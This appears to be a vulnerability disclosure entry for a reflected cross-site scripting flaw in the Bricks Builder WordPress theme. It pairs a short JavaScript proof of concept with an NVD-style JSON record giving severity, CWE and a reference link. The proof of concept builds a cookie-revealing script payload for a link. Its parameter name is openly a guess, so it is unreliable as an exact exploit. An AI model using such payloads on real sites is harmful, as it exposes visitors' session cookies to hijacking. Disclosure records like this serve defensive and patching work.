CVE-2026-41554

// Proof of Concept for Reflected XSS in Bricks Builder // The vulnerability allows injection of arbitrary scripts via URL parameters. // Step 1: Construct the malicious payload var payload = '<script>alert(document.cookie);</script>'; // Step 2: Encode the payload and append it to a vulnerable endpoint // Note: The specific parameter name depends on the actual vulnerable parameter in the plugin. var vulnerableUrl = 'http://example.com/?bricks_param=' + encodeURIComponent(payload); // Step 3: Simulate the attack // When a victim clicks this link, the script executes in their browser context. console.log('Attack Link: ' + vulnerableUrl); // Expected Result: An alert box displaying the current session cookies.

{"cve": {"id": "CVE-2026-41554", "sourceIdentifier": "[email protected]", "published": "2026-05-07T14:16:02.710", "lastModified": "2026-05-07T14:56:14.870", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Bricks Builder allows Reflected XSS.\n\nThis issue affects Bricks Builder: from n/a through 1.9.2 to 2.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/wordpress/theme/bricks/vulnerability/wordpress-bricks-builder-theme-1-9-2-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}